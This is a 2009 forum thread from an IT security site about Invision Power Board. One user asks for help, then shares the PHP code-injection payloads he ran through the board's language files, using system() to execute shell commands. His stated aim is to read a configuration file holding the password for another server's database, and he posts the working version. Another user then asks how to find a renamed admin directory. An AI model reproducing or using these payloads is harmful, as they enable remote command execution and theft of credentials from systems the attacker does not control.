|
|
|
|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 81
Members: 0
Total: 81
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
HELP ME! (Can't upload shell or run commands - Plz Read) |
|
Posted: Mon Aug 24, 2009 8:25 am |
|
|
RG007145 |
Active user |
|
|
Joined: May 04, 2008 |
Posts: 27 |
|
|
|
|
|
|
|
So I have root administrative access to IPB.
And I can add new general settings, but since I screwed up the first time it now always does some "no such file" with fopen() and gets into an infinite loop.
The language files are now my only way of getting contents of files - BUT, it does not work
I can run:
${${system(ls,$output)}}
${${print $output}}
But anything like:
${${system(cat ../config/servers.php,$output)}}
${${print $output}}
Or:
${${system('cat ../config/servers.php', $output)}}
${${print $output}}
Gives me errors like unexpected T_DOUBLE_ARROW, UNEXPECTED_T_STRING and unexpected T_CONSTANT_ENCAPSED_STRING.
(On my local install some of this works fine - maybe a PHP version thing?)
Any ideas? |
|
Last edited by RG007145 on Mon Aug 24, 2009 10:03 am; edited 1 time in total |
|
|
|
|
|
|
|
Posted: Mon Aug 24, 2009 8:57 am |
|
|
nuker |
Active user |
|
|
Joined: Aug 16, 2009 |
Posts: 39 |
|
|
|
|
|
|
|
If you have administrative access why dont you just log into the ACP and make all the changes you want from there? |
|
|
|
|
Posted: Mon Aug 24, 2009 9:01 am |
|
|
RG007145 |
Active user |
|
|
Joined: May 04, 2008 |
Posts: 27 |
|
|
|
|
|
|
|
Because the servers.php file is accessing a different database on a different server whose password I want... |
|
|
|
|
|
Solved it myself... |
|
Posted: Mon Aug 24, 2009 10:48 am |
|
|
RG007145 |
Active user |
|
|
Joined: May 04, 2008 |
Posts: 27 |
|
|
|
|
|
|
|
Here's what finally worked:
${${print $query='cat /home/***/***/config/servers.php'}}
${${system($query,$out)}}
${${print $out}}
And I spent so much time figuring it out...lolz. |
|
|
|
|
Posted: Tue Aug 25, 2009 1:38 am |
|
|
nuker |
Active user |
|
|
Joined: Aug 16, 2009 |
Posts: 39 |
|
|
|
|
|
|
|
Ahh i didnt know that was possible. By the way, do you know a way to find the admin directory if it has been renamed? |
|
|
|
|
www.waraxe.us Forum Index -> Invision Power Board
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|